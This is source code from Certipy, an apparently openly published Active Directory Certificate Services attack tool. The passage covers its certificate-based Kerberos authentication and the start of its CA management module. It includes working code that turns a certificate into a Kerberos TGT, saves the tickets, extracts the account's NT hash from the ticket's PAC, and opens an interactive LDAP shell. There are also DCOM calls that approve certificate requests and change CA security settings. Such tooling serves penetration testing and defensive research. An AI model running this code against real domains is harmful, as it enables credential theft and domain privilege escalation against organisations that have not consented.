domain_dumper: Any, client: Any): """ Initialize the LDAP shell. Args: tcp_shell: Shell to use for I/O domain_dumper: Domain information provider client: LDAP client connection """ super().__init__(tcp_shell, domain_dumper, client) self.use_rawinput = True self.shell = tcp_shell self.prompt = "\n# " self.tid = None self.intro = "Type help for list of commands" self.loggedIn = True self.last_output = None self.completion = [] self.client = client self.domain_dumper = domain_dumper def do_dump(self, line: str): """ Placeholder for domain dumping functionality. Args: line: Command line input """ logging.warning("Not implemented") def do_exit(self, line: str): """ Exit the shell. Args: line: Command line input Returns: True to signal shell exit """ print("Bye!") return True class DummyDomainDumper: """ Simple domain information provider for the LDAP shell. This class provides minimal domain information required by the LDAP shell. """ def __init__(self, root: str): """ Initialize with domain root. Args: root: LDAP root path (e.g., DC=contoso,DC=com) """ self.root = root def truncate_key(value: bytes, keysize: int) -> bytes: """ Truncate a key to the specified size using SHA1 hashing. Args: value: Input key material keysize: Desired key size in bytes Returns: Truncated key of exactly keysize bytes """ output = b"" current_num = 0 while len(output) < keysize: current_digest = hash_digest(bytes([current_num]) + value, hashes.SHA1) if len(output) + len(current_digest) > keysize: output += current_digest[: keysize - len(output)] break output += current_digest current_num += 1 return output class Authenticate: """ Main authentication class for certificate-based Kerberos and LDAP authentication. This class provides functionality to: - Authenticate to Kerberos using certificates (PKINIT) - Extract NT hashes from Kerberos tickets - Connect to LDAP using certificate authentication - Launch interactive LDAP shells """ def __init__( self, target: Target, pfx: Optional[str] = None, username: Optional[str] = None, domain: Optional[str] = None, password: Optional[str] = None, cert: Optional[x509.Certificate] = None, key: Optional[PrivateKeyTypes] = None, no_save: bool = False, no_hash: bool = False, print: bool = False, kirbi: bool = False, ldap_shell: bool = False, **kwargs, # type: ignore ): """ Initialize authentication parameters. Args: target: Target information (domain, DC IP, etc.) pfx: Path to PFX/P12 certificate file username: Username to authenticate as domain: Domain to authenticate to password: Password for PFX file cert: Pre-loaded certificate object key: Pre-loaded private key object no_save: Don't save credential cache to disk no_hash: Don't extract NT hash print: Print ticket information kirbi: Save credential cache in Kirbi format ldap_shell: Launch interactive LDAP shell after authentication ldap_port: LDAP port (default: 389 for ldap, 636 for ldaps) ldap_scheme: LDAP scheme (ldap or ldaps) ldap_user_dn: LDAP user distinguished name user_dn: User distinguished name **kwargs: Additional parameters """ self.target = target self.username = username self.domain = domain self.pfx = pfx self.password = password self.cert = cert self.key = key self.no_save = no_save self.no_hash = no_hash self.print = print self.kirbi = kirbi self.ldap_shell = ldap_shell self.kwargs = kwargs # These will be populated during authentication self.nt_hash: Optional[str] = None self.lm_hash: Optional[str] = None self.ccache_name: Optional[str] = None # Load certificate and key from PFX if provided if self.pfx is not None: pfx_password = None if self.password: pfx_password = self.password.encode() try: with open(self.pfx, "rb") as f: pfx_data = f.read() self.key, self.cert = load_pfx(pfx_data, pfx_password) except Exception as e: logging.error(f"Failed to load PFX file: {e}") raise def authenticate( self, username: Optional[str] = None, domain: Optional[str] = None, is_key_credential: bool = False, ) -> Union[str, bool, None]: """ Authenticate using a certificate. This is the main entry point for authentication. It will determine whether to use LDAP or Kerberos authentication based on configuration. Args: username: Username to authenticate as domain: Domain to authenticate to is_key_credential: Whether we're using a key credential Returns: NT hash if extracted, True if successful, False if failed, None if error """ if not self.cert: raise ValueError("Certificate is not specified and no PFX was provided") # Print authentication information present in the certificate print_certificate_authentication_information(self.cert) # Resolve username and domain from target if not provided if not username: username = self.username or self.target.username if not domain: domain = self.domain or self.target.domain # Use LDAP authentication if requested if self.ldap_shell: return self.ldap_authentication(domain) # Extract identity information from certificate if needed id_type = None identity = None object_sid = None cert_username = None cert_domain = None # Skip certificate parsing for key credentials if not is_key_credential: # Extract identity information from certificate identities = get_identities_from_certificate(self.cert) # Get the object SID from the certificate if available object_sid = get_object_sid_from_certificate(self.cert) # No identities found in the certificate if not identities: logging.warning("Could not find identity in the provided certificate") # Single identity found - use it directly elif len(identities) == 1: id_type, identity = identities[0] cert_username, cert_domain = cert_id_to_parts([(id_type, identity)]) # Multiple identities found - handle based on input parameters else: logging.info("Found multiple identities in certificate") # Case 1: If username is provided, try to find a matching identity if username: matching_ids = [] for idx, (id_t, id_val) in enumerate(identities): u, d = cert_id_to_parts([(id_t, id_val)]) if u and ( u.lower() == username.lower() or u.lower() + "$" == username.lower() ): matching_ids.append((idx, id_t, id_val, u, d)) # Found exactly one match for the username if len(matching_ids) == 1: idx, id_type, identity, cert_username, cert_domain = ( matching_ids[0] ) logging.info(f"Using identity: {id_type}: {identity}") # Found multiple matches - prompt user to select one elif len(matching_ids) > 1: logging.info( f"Found multiple identities for username '{username}'" ) logging.info("Please select one:") for i, (idx, id_t, id_val, u, d) in enumerate(matching_ids): print(f" [{i}] {id_t}: {id_val!r} ({u}@{d})") while True: try: choice = int(input("> ")) if 0 <= choice < len(matching_ids): ( idx, id_type, identity, cert_username, cert_domain, ) = matching_ids[choice] break logging.warning("Invalid index") except ValueError: logging.warning("Invalid input, enter a number") # No matches found - prompt user to select from all identities else: logging.warning(f"No identities match username '{username}'") logging.info("Please select an identity:") for i, (id_t, id_val) in enumerate(identities): u, d = cert_id_to_parts([(id_t, id_val)]) print( f" [{i}] {id_t}: {id_val!r} ({u or 'unknown'}@{d or 'unknown'})" ) while True: try: idx = int(input("> ")) if 0 <= idx < len(identities): id_type, identity = identities[idx] cert_username, cert_domain = cert_id_to_parts( [(id_type, identity)] ) break logging.warning("Invalid index") except ValueError: logging.warning("Invalid input, enter a number") # Case 2: No username provided - prompt user to select an identity else: logging.info("Please select an identity:") for i, (id_t, id_val) in enumerate(identities): u, d = cert_id_to_parts([(id_t, id_val)]) print( f" [{i}] {id_t}: {id_val!r} ({u or 'unknown'}@{d or 'unknown'})" ) while True: try: idx = int(input("> ")) if 0 <= idx < len(identities): id_type, identity = identities[idx] cert_username, cert_domain = cert_id_to_parts( [(id_type, identity)] ) break logging.warning("Invalid index") except ValueError: logging.warning("Invalid input, enter a number") # Resolve username and domain if not username: username = cert_username if not domain: domain = cert_domain # Check for mismatches between certificate and provided identity if ( self._check_identity_mismatches( username, domain, cert_username, cert_domain ) is False ): return False # Ensure we have both username and domain if not all([username, domain]) and not is_key_credential: logging.error( "Username or domain is not specified, and identity " "information was not found in the certificate" ) return False if not username or not domain: logging.error(f"Username or domain is invalid: {username}@{domain}") return False # Normalize domain and username domain = domain.lower() username = username.lower() upn = f"{username}@{domain}" # Resolve target IP if needed if self.target and self.target.resolver and self.target.target_ip is None: self.target.target_ip = self.target.resolver.resolve(domain) logging.info(f"Using principal: {upn!r}") # Perform Kerberos authentication return self.kerberos_authentication( username, domain, is_key_credential, id_type, identity, object_sid, upn, ) def _check_identity_mismatches( self, username: Optional[str], domain: Optional[str], cert_username: Optional[str], cert_domain: Optional[str], ) -> Optional[bool]: """ Check for mismatches between provided identity and certificate identity. Args: username: Provided username domain: Provided domain cert_username: Username from certificate cert_domain: Domain from certificate Returns: None if checks passed, False if should abort """ # Check username mismatch (accounting for computer accounts with $) if ( cert_username and username and cert_username.lower() != username.lower() and cert_username.lower() + "$" != username.lower() ): logging.warning( f"The provided username does not match the identity " f"found in the certificate: {username!r} - {cert_username!r}" ) res = input("Do you want to continue? (Y/n): ") if res.strip().lower() == "n": return False # Check domain mismatch (accounting for subdomains) if ( cert_domain and domain and domain.lower() != cert_domain.lower() and not cert_domain.lower().startswith(domain.lower().rstrip(".") + ".") ): logging.warning( f"The provided domain does not match the identity " f"found in the certificate: {domain!r} - {cert_domain!r}" ) res = input("Do you want to continue? (Y/n): ") if res.strip().lower() == "n": return False return None def ldap_authentication(self, domain: Optional[str] = None) -> bool: """ Authenticate to LDAP using a certificate. Args: domain: Domain to authenticate to Returns: True if successful, False otherwise """ if self.key is None: raise ValueError("Private key is not specified and no PFX was provided") if self.cert is None: raise ValueError("Certificate is not specified and no PFX was provided") ldap_conn = LDAPConnection(self.target, (self.cert, self.key)) try: ldap_conn.schannel_connect() except Exception as e: logging.error(f"Failed to connect to LDAP server: {e}") handle_error() return False if ldap_conn.default_path is None: logging.error("Failed to retrieve default naming context") return False domain_dumper = DummyDomainDumper(ldap_conn.default_path) ldap_shell = LdapShell(sys, domain_dumper, ldap_conn.ldap_conn) try: ldap_shell.cmdloop() except KeyboardInterrupt: print("Bye!\n") return True def kerberos_authentication( self, username: str, domain: str, is_key_credential: bool = False, id_type: Optional[str] = None, identity: Optional[str] = None, object_sid: Optional[str] = None, upn: Optional[str] = None, ) -> Union[str, bool, None]: """ Authenticate to Kerberos using PKINIT with a certificate. Args: username: Username to authenticate as domain: Domain to authenticate to is_key_credential: Whether we're using a key credential id_type: Type of identity in certificate identity: identity value from certificate object_sid: SID from certificate upn: User Principal Name Returns: NT hash if extracted, True if successful, False otherwise """ if self.key is None: raise ValueError("Private key is not specified and no PFX was provided") if self.cert is None: raise ValueError("Certificate is not specified and no PFX was provided") if not isinstance(self.key, rsa.RSAPrivateKey): raise ValueError( "Currently only RSA private keys are supported. Try using -ldap-shell instead" ) # Create AS-REQ for PKINIT as_req, diffie = build_pkinit_as_req(username, domain, self.key, self.cert) # Resolve target IP if needed if self.target and self.target.resolver and self.target.target_ip is None: self.target.target_ip = self.target.resolver.resolve(domain) logging.info("Trying to get TGT...") logging.debug(f"Sending AS-REQ to KDC {domain} ({self.target.target_ip})") try: # Send Kerberos AS-REQ tgt = sendReceive(as_req, domain, self.target.target_ip) except KerberosError as e: # Handle Kerberos errors with helpful messages if e.getErrorCode() not in KRB5_ERROR_MESSAGES: logging.error(f"Got unknown Kerberos error: {e.getErrorCode():#x}") return False if "KDC_ERR_CLIENT_NAME_MISMATCH" in str(e) and not is_key_credential: logging.error( f"Name mismatch between certificate and user {username!r}" ) if id_type is not None: logging.error( f"Verify that the username {username!r} matches the certificate {id_type}: {identity}" ) elif "KDC_ERR_WRONG_REALM" in str(e) and not is_key_credential: logging.error(f"Wrong domain name specified {domain!r}") if id_type is not None: logging.error( f"Verify that the domain {domain!r} matches the certificate {id_type}: {identity}" ) elif "KDC_ERR_CERTIFICATE_MISMATCH" in str(e) and not is_key_credential: logging.error( f"Object SID mismatch between certificate and user {username!r}" ) if object_sid is not None: logging.error( f"Verify that user {username!r} has object SID {object_sid!r}" ) elif "KDC_ERR_INCONSISTENT_KEY_PURPOSE" in str(e): logging.error("Certificate is not valid for client authentication") logging.error( "Check the certificate template and ensure it has the correct EKU(s)" ) logging.error( "If you recently changed the certificate template, wait a few minutes for the change to propagate" ) else: logging.error(f"Got error while trying to request TGT: {e}") handle_error() logging.error("See the wiki for more information") return False logging.info("Got TGT") # Process AS-REP as_rep = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract PA-PK-AS-REP for pa in as_rep["padata"]: if pa["padata-type"] == 17: # PA-PK-AS-REP pk_as_rep = PaPkAsRep.load(bytes(pa["padata-value"])).native break else: logging.error("PA_PK_AS_REP was not found in AS_REP") return False # Process Diffie-Hellman key exchange data ci = cms.ContentInfo.load(pk_as_rep["dhSignedData"]).native sd = ci["content"] key_info = sd["encap_content_info"] if key_info["content_type"] != "1.3.6.1.5.2.3.2": logging.error("Unexpected value for key info content type") return False # Get public key from KDC auth_data = KDCDHKeyInfo.load(key_info["content"]).native pub_key = int.from_bytes( core.BitString(auth_data["subjectPublicKey"]).dump()[7:], "big", signed=False, ) # Complete Diffie-Hellman exchange shared_key = diffie.exchange(pub_key) server_nonce = pk_as_rep["serverDHNonce"] full_key = shared_key + diffie.dh_nonce + server_nonce # Derive encryption key etype = as_rep["enc-part"]["etype"] cipher = _enctype_table[etype] if etype == EncType.AES256: t_key = truncate_key(full_key, 32) elif etype == EncType.AES128: t_key = truncate_key(full_key, 16) else: logging.error("Unexpected encryption type in AS_REP") return False # Decrypt AS-REP key = Key(cipher.enctype, t_key) enc_data = as_rep["enc-part"]["cipher"] dec_data = cipher.decrypt(key, 3, enc_data) enc_as_rep_part = decoder.decode(dec_data, asn1Spec=EncASRepPart())[0] # Extract session key cipher = _enctype_table[int(enc_as_rep_part["key"]["keytype"])] session_key = Key(cipher.enctype, bytes(enc_as_rep_part["key"]["keyvalue"])) # Create credential cache ccache = CCache() ccache.fromTGT(tgt, key, None) krb_cred = ccache.toKRBCRED() # Print ticket if requested if self.print: logging.info("Ticket:") print(base64.b64encode(krb_cred).decode()) # Save ticket to file if requested if not self.no_save: if self.kirbi: kirbi_name = f"{username.rstrip('$')}.kirbi" logging.info(f"Saving Kirbi file to {kirbi_name!r}") saved_path = try_to_save_file(ccache.toKRBCRED(), kirbi_name) logging.info(f"Wrote Kirbi file to {saved_path!r}") else: self.ccache_name = f"{username.rstrip('$')}.ccache" logging.info(f"Saving credential cache to {self.ccache_name!r}") saved_path = try_to_save_file(ccache.getData(), self.ccache_name) logging.info(f"Wrote credential cache to {saved_path!r}") # Extract NT hash if requested if not self.no_hash: logging.info(f"Trying to retrieve NT hash for {username!r}") try: # Create AP-REQ for User-to-User (U2U) authentication ap_req = AP_REQ() ap_req["pvno"] = 5 ap_req["msg-type"] = e2i(constants.ApplicationTagNumbers.AP_REQ) ap_req["ap-options"] = constants.encodeFlags([]) # Use received ticket ticket = Ticket() ticket = ticket.from_asn1(as_rep["ticket"]) seq_set(ap_req, "ticket", ticket.to_asn1) # Create authenticator for AP-REQ authenticator = Authenticator() authenticator["authenticator-vno"] = 5 authenticator["crealm"] = bytes(as_rep["crealm"]) client_name = Principal() client_name = client_name.from_asn1(as_rep, "crealm", "cname") seq_set(authenticator, "cname", client_name.components_to_asn1) # Set time in authenticator now = datetime.datetime.now(datetime.timezone.utc) authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) # Encrypt authenticator with session key encoded_authenticator = encoder.encode(authenticator) encrypted_encoded_authenticator = cipher.encrypt( session_key, 7, encoded_authenticator, None ) ap_req["authenticator"] = noValue ap_req["authenticator"]["etype"] = cipher.enctype ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator encoded_ap_req = encoder.encode(ap_req) # Create TGS-REQ with U2U flag tgs_req = TGS_REQ() tgs_req["pvno"] = 5 tgs_req["msg-type"] = e2i(constants.ApplicationTagNumbers.TGS_REQ) # Add AP-REQ as PA data tgs_req["padata"] = noValue tgs_req["padata"][0] = noValue tgs_req["padata"][0]["padata-type"] = e2i( constants.PreAuthenticationDataTypes.PA_TGS_REQ ) tgs_req["padata"][0]["padata-value"] = encoded_ap_req req_body = seq_set(tgs_req, "req-body") # Set KDC options for U2U opts = [ e2i(constants.KDCOptions.forwardable), e2i(constants.KDCOptions.renewable), e2i(constants.KDCOptions.canonicalize), e2i(constants.KDCOptions.enc_tkt_in_skey), # This enables U2U e2i(constants.KDCOptions.forwardable), e2i(constants.KDCOptions.renewable_ok), ] req_body["kdc-options"] = constants.encodeFlags(opts) # Request a ticket to self (U2U) server_name = Principal( username, type=e2i(constants.PrincipalNameType.NT_UNKNOWN) ) seq_set(req_body, "sname", server_name.components_to_asn1) req_body["realm"] = str(as_rep["crealm"]) # Set validity period now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta( days=1 ) req_body["till"] = KerberosTime.to_asn1(now) req_body["nonce"] = getrandbits(31) # Request supported encryption types seq_set_iter( req_body, "etype", (int(cipher.enctype), e2i(constants.EncryptionTypes.rc4_hmac)), ) # Include our own ticket ticket_asn1 = ticket.to_asn1(TicketAsn1()) seq_set_iter(req_body, "additional-tickets", (ticket_asn1,)) # Send TGS-REQ message = encoder.encode(tgs_req) tgs = sendReceive(message, domain, self.target.target_ip) tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Decrypt ticket from TGS-REP ciphertext = tgs["ticket"]["enc-part"]["cipher"] new_cipher = _enctype_table[int(tgs["ticket"]["enc-part"]["etype"])] plaintext = new_cipher.decrypt(session_key, 2, ciphertext) # Create special key using the t_key special_key = Key(18, t_key) # Extract PAC from ticket data = plaintext enc_ticket_part = decoder.decode(data, asn1Spec=EncTicketPart())[0] ad_if_relevant = decoder.decode( enc_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT(), )[0] pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets()) buff = pac_type["Buffers"] # Default hash values nt_hash = None lm_hash = "aad3b435b51404eeaad3b435b51404ee" # Look for credential info in PAC for _ in range(pac_type["cBuffers"]): info_buffer = PAC_INFO_BUFFER(buff) data = pac_type["Buffers"][info_buffer["Offset"] - 8 :][ : info_buffer["cbBufferSize"] ] # PAC_CREDENTIAL_INFO contains the hashes if info_buffer["ulType"] == 2: # PAC_CREDENTIAL_INFO cred_info = PAC_CREDENTIAL_INFO(data) new_cipher = _enctype_table[cred_info["EncryptionType"]] # Decrypt the credentials with the special key out = new_cipher.decrypt( special_key, 16, cred_info["SerializedData"] ) # Parse credential data type1 = TypeSerialization1(out) new_data = out[len(type1) + 4 :] pcc = PAC_CREDENTIAL_DATA(new_data) # Extract NTLM hashes for cred in pcc["Credentials"]: cred_structs = NTLM_SUPPLEMENTAL_CREDENTIAL( b"".join(cred["Credentials"]) ) if any(cred_structs["LmPassword"]): lm_hash = cred_structs["LmPassword"].hex() nt_hash = cred_structs["NtPassword"].hex() break break # Move to next buffer buff = buff[len(info_buffer) :] else: logging.error("Could not find credentials in PAC") return False # Store hashes in object self.lm_hash = lm_hash self.nt_hash = nt_hash # Display hash information if not is_key_credential: logging.info(f"Got hash for {upn!r}: {lm_hash}:{nt_hash}") # Return the NT hash return nt_hash except Exception as e: logging.error(f"Failed to extract NT hash: {e}") handle_error() return False # Authentication succeeded return True def entry(options: argparse.Namespace) -> None: """ Entry point for the 'auth' command. Args: options: Command-line arguments """ # Ensure we don't try to use password authentication options.no_pass = True # Create target from options target = Target.from_options(options, dc_as_target=True, require_username=False) # Create authenticator and perform authentication try: authenticate = Authenticate(target=target, **vars(options)) result = authenticate.authenticate() if result is False: sys.exit(1) except Exception as e: logging.error(f"Authentication failed: {e}") handle_error() sys.exit(1) Certipy-5.1.0/certipy/commands/ca.py000077500000000000000000001441031521657466500174000ustar00rootroot00000000000000""" Certificate Authority (CA) Management Module for Certipy. This module provides functionality to interact with Active Directory Certificate Services (AD CS): - CA certificate and security management - Certificate template enablement/disablement - Certificate request approval/denial - Officer and manager role assignment - CA backup/restore operations It serves as a comprehensive tool for CA administration and security assessment. """ import argparse import copy import time from typing import Any, List, Optional, Union from impacket.dcerpc.v5 import rpcrt, rrp, scmr from impacket.dcerpc.v5.dcom.oaut import VARIANT from impacket.dcerpc.v5.dcomrt import DCOMANSWER, DCOMCALL, IRemUnknown, IRemUnknown2 from impacket.dcerpc.v5.dtypes import DWORD, LONG, LPWSTR, PBYTE, ULONG, WSTR from impacket.dcerpc.v5.ndr import NDRSTRUCT from impacket.dcerpc.v5.nrpc import checkNullString from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException from impacket.ldap import ldaptypes from impacket.smbconnection import SMBConnection from impacket.uuid import string_to_bin, uuidtup_to_bin from certipy.lib.certificate import NameOID, create_pfx, der_to_cert, load_pfx, x509 from certipy.lib.constants import CertificateAuthorityRights from certipy.lib.errors import handle_error, translate_error_code from certipy.lib.files import try_to_save_file from certipy.lib.kerberos import get_tgs from certipy.lib.ldap import LDAPConnection, LDAPEntry from certipy.lib.logger import logging from certipy.lib.rpc import ( get_dce_rpc, get_dce_rpc_from_string_binding, get_dcom_connection, ) from certipy.lib.security import CASecurity from certipy.lib.target import Target from .template import Template # Module name NAME = "ca" # Constants for CA operations IF_NOREMOTEICERTADMINBACKUP = 0x40 CR_PROP_TEMPLATES = 0x0000001D # DCOM constants for CA interfaces CLSID_ICertAdminD = string_to_bin("d99e6e73-fc88-11d0-b498-00a0c90312f3") CLSID_CCertRequestD = string_to_bin("d99e6e74-fc88-11d0-b498-00a0c90312f3") IID_ICertAdminD = uuidtup_to_bin(("d99e6e71-fc88-11d0-b498-00a0c90312f3", "0.0")) IID_ICertAdminD2 = uuidtup_to_bin(("7fe0d935-dda6-443f-85d0-1cfb58fe41dd", "0.0")) IID_ICertRequestD2 = uuidtup_to_bin(("5422fd3a-d4b8-4cef-a12e-e87d4ca22e90", "0.0")) # ========================================================================= # Exception and Structure Definitions # ========================================================================= class DCERPCSessionError(DCERPCException): """ Custom exception class for CA session errors that provides more meaningful error messages. """ def __init__( self, error_string: Any = None, error_code: Any = None, packet: Any = None ): DCERPCException.__init__(self, error_string, error_code, packet) def __str__(self): self.error_code &= 0xFFFFFFFF # type: ignore error_msg = translate_error_code(self.error_code) return f"CASessionError: {error_msg}" class CERTTRANSBLOB(NDRSTRUCT): """ Structure representing certificate transfer blob for RPC calls. """ structure = ( ("cb", ULONG), ("pb", PBYTE), ) # ========================================================================= # RPC Interface Definitions for CA Operations # ========================================================================= class ICertAdminDResubmitRequest(DCOMCALL): """ RPC interface for resubmitting certificate requests. Used to approve pending requests. """ opnum = 5 structure = ( ("pwszAuthority", LPWSTR), ("pdwRequestId", DWORD), ("pwszExtensionName", LPWSTR), ) class ICertAdminDResubmitRequestResponse(DCOMANSWER): structure = (("pdwDisposition", ULONG),) class ICertAdminDDenyRequest(DCOMCALL): """ RPC interface for denying certificate requests. """ opnum = 6 structure = ( ("pwszAuthority", LPWSTR), ("pdwRequestId", DWORD), ) class ICertAdminDDenyRequestResponse(DCOMANSWER): structure = (("ErrorCode", ULONG),) class ICertRequestD2GetCAProperty(DCOMCALL): """ RPC interface for retrieving CA properties. """ opnum = 7 structure = ( ("pwszAuthority", LPWSTR), ("PropId", LONG), ("PropIndex", LONG), ("PropType", LONG), ) class ICertRequestD2GetCAPropertyResponse(DCOMANSWER): structure = (("pctbPropertyValue", CERTTRANSBLOB),) class ICertAdminD2GetCAProperty(DCOMCALL): """ RPC interface for retrieving CA properties. """ opnum = 32 structure = ( ("pwszAuthority", LPWSTR), ("PropId", LONG), ("PropIndex", LONG), ("PropType", LONG), ) class ICertAdminD2GetCAPropertyResponse(DCOMANSWER): structure = (("pctbPropertyValue", CERTTRANSBLOB),) class ICertAdminD2SetCAProperty(DCOMCALL): """ RPC interface for setting CA properties. """ opnum = 33 structure = ( ("pwszAuthority", LPWSTR), ("PropId", LONG), ("PropIndex", LONG), ("PropType", LONG), ("pctbPropertyValue", CERTTRANSBLOB), ) class ICertAdminD2SetCAPropertyResponse(DCOMANSWER): structure = (("ErrorCode", ULONG),) class ICertAdminD2GetCASecurity(DCOMCALL): """ RPC interface for retrieving CA security settings. """ opnum = 36 structure = (("pwszAuthority", LPWSTR),) class ICertAdminD2GetCASecurityResponse(DCOMANSWER): structure = (("pctbSD", CERTTRANSBLOB),) class ICertAdminD2SetCASecurity(DCOMCALL): """ RPC interface for setting CA security settings. """ opnum = 37 structure = (("pwszAuthority", LPWSTR), ("pctbSD", CERTTRANSBLOB)) class ICertAdminD2SetCASecurityResponse(DCOMANSWER): structure = (("ErrorCode", LONG),) class ICertAdminD2GetConfigEntry(DCOMCALL): """ RPC interface for retrieving CA configuration entries. """ opnum = 44 structure = ( ("pwszAuthority", LPWSTR), ("pwszNodePath", LPWSTR), ("pwszEntry", WSTR), ) class ICertAdminD2GetConfigEntryResponse(DCOMANSWER): structure = (("pVariant", VARIANT),) # ========================================================================= # CA Interface Classes # ========================================================================= class ICertCustom(IRemUnknown): """ Base class for custom certificate service interfaces. """ def request(self, req: Any, *args, **kwargs): # type: ignore """ Send a request to the CA service. Args: req: Request object *args: Additional arguments **kwargs: Additional keyword arguments Returns: Response from the CA service Raises: DCERPCException: If the RPC call fails """ req["ORPCthis"] = self.get_cinstance().get_ORPCthis() # type: ignore req["ORPCthis"]["flags"] = 0 self.connect(self._iid) dce = self.get_dce_rpc() try: resp = dce.request(req, self.get_iPid(), *args, **kwargs) except Exception as e: if str(e).find("RPC_E_DISCONNECTED") >= 0: msg = str(e) + "\n" msg += ( "DCOM keep-alive pinging it might not be working as expected. You " "can't be idle for more than 14 minutes!\n" ) msg += "You should exit the app and start again\n" raise DCERPCException(msg) else: raise return resp class ICertAdminD(ICertCustom): """ Interface for the ICertAdminD service. This is the basic certificate administration interface. """ def __init__(self, interface: IRemUnknown2): super().__init__(interface) self._iid = IID_ICertAdminD class ICertAdminD2(ICertCustom): """ Interface for the ICertAdminD2 service. This is the extended certificate administration interface. """ def __init__(self, interface: IRemUnknown2): super().__init__(interface) self._iid = IID_ICertAdminD2 class ICertRequestD2(ICertCustom): """ Interface for the ICertRequestD2 service. This interface is used for certificate requests. """ def __init__(self, interface: IRemUnknown2): super().__init__(interface) self._iid = IID_ICertRequestD2 # ========================================================================= # Main CA Class # ========================================================================= class CA: """ Main class for interacting with Certificate Authorities. This class provides methods for: - Retrieving CA certificates and configuration - Managing certificate templates - Approving/denying certificate requests - Managing CA officers and managers - Backing up CA certificates and keys """ def __init__( self, target: Target, ca: Optional[str] = None, template: Optional[str] = None, officer: Optional[str] = None, request_id: Optional[int] = None, connection: Optional[LDAPConnection] = None, scheme: str = "ldaps", dynamic: bool = False, config: Optional[str] = None, timeout: int = 5, **kwargs, # type: ignore ): """ Initialize CA management object. Args: target: Target information (hostname, credentials, etc.) ca: CA name template: Certificate template name officer: Officer username request_id: Certificate request ID connection: Existing LDAP connection to reuse scheme: LDAP scheme (ldap or ldaps) dc_host: Domain controller hostname dynamic: Use dynamic port allocation config: CA configuration string timeout: Connection timeout in seconds **kwargs: Additional arguments """ self.target = target self.request_id = request_id self.ca = ca self.officer = officer self.template = template self.scheme = scheme self.dynamic = dynamic self.config = config self.timeout = timeout self.kwargs = kwargs # Initialize connection objects self._connection: Optional[LDAPConnection] = connection self._cert_admin: Optional[ICertAdminD] = None self._cert_admin2: Optional[ICertAdminD2] = None self._cert_request2: Optional[ICertRequestD2] = None self._rrp_dce = None # ========================================================================= # Connection Properties and Methods # ========================================================================= @property def connection(self) -> LDAPConnection: """ Get or create an LDAP connection to the domain. Returns: Active LDAP connection Raises: ValueError: If target resolution fails """ if self._connection: return self._connection target = copy.copy(self.target) if target.do_kerberos: if self.target.dc_host is None: raise Exception( "Kerberos auth requires DNS name of the target DC. Use -dc-host." ) target.remote_name = self.target.dc_host target.target_ip = target.dc_ip self._connection = LDAPConnection(target) self._connection.connect() return self._connection @property def cert_admin(self) -> ICertAdminD: """ Get or create an ICertAdminD interface. Returns: ICertAdminD interface """ if self._cert_admin is not None: return self._cert_admin dcom = get_dcom_connection(self.target) interface = dcom.CoCreateInstanceEx(CLSID_ICertAdminD, IID_ICertAdminD) interface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore self._cert_admin = ICertAdminD(interface) return self._cert_admin @property def cert_admin2(self) -> ICertAdminD2: """ Get or create an ICertAdminD2 interface. Returns: ICertAdminD2 interface """ if self._cert_admin2 is not None: return self._cert_admin2 dcom = get_dcom_connection(self.target) interface = dcom.CoCreateInstanceEx(CLSID_ICertAdminD, IID_ICertAdminD2) interface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore self._cert_admin2 = ICertAdminD2(interface) return self._cert_admin2 @property def cert_request2(self) -> ICertRequestD2: """ Get or create an ICertRequestD2 interface. Returns: ICertRequestD2 interface """ if self._cert_request2 is not None: return self._cert_request2 dcom = get_dcom_connection(self.target) interface = dcom.CoCreateInstanceEx(CLSID_CCertRequestD, IID_ICertRequestD2) interface.get_cinstance().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) # type: ignore self._cert_request2 = ICertRequestD2(interface) return self._cert_request2 @property def rrp_dce(self): """ Get or create a connection to the remote registry service. Returns: RRP DCE/RPC connection or None if connection fails """ if self._rrp_dce is not None: return self._rrp_dce dce = get_dce_rpc_from_string_binding( "ncacn_np:445[\\pipe\\winreg]", self.target, timeout=self.target.timeout ) # Try to connect up to 3 times (registry service might need to start) for _ in range(3): try: dce.connect() _ = dce.bind(rrp.MSRPC_UUID_RRP) logging.debug( f"Connected to remote registry at {self.target.remote_name!r} ({self.target.target_ip!r})" ) break except Exception as e: if "STATUS_PIPE_NOT_AVAILABLE" in str(e): logging.warning( "Failed to connect to remote registry. Service should be starting now. Trying again..." ) time.sleep(1) else: logging.error(f"Failed to connect to remote registry: {e}") handle_error() return None else: logging.warning("Failed to connect to remote registry after 3 attempts") return None self._rrp_dce = dce return self._rrp_dce # ========================================================================= # CA Certificate and Configuration Methods # ========================================================================= def get_exchange_certificate(self) -> x509.Certificate: """ Get the CA exchange certificate. Returns: CA exchange certificate Raises: Exception: If the certificate retrieval fails """ request = ICertRequestD2GetCAProperty() request["pwszAuthority"] = checkNullString(self.ca) request["PropId"] = 0x0000000F # Exchange certificate property ID request["PropIndex"] = 0 request["PropType"] = 0x00000003 # Binary data type resp = self.cert_request2.request(request) # Convert the certificate blob to an x509 certificate exchange_cert = der_to_cert(b"".join(resp["pctbPropertyValue"]["pb"])) return exchange_cert def get_config_rrp(self) -> "CAConfiguration": """ Get CA configuration via the Remote Registry Protocol. Used as a fallback when CSRA fails. This method navigates the Windows registry structure to extract CA configuration settings including policy modules, edit flags, request disposition, disabled extensions, interface flags, and security descriptors. Returns: CAConfiguration object containing CA configuration settings Raises: ValueError: If critical registry values have unexpected types """ # Open local machine registry hive hklm = rrp.hOpenLocalMachine(self.rrp_dce) h_root_key = hklm["phKey"] # First retrieve active policy module information policy_key_path = ( f"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{self.ca}\\" "PolicyModules" ) policy_key = rrp.hBaseRegOpenKey(self.rrp_dce, h_root_key, policy_key_path) # Get active policy module name _, active_policy = rrp.hBaseRegQueryValue( self.rrp_dce, policy_key["phkResult"], "Active" ) if not isinstance(active_policy, str): logging.warning( f"Expected a string for active policy, got {type(active_policy)!r}" ) 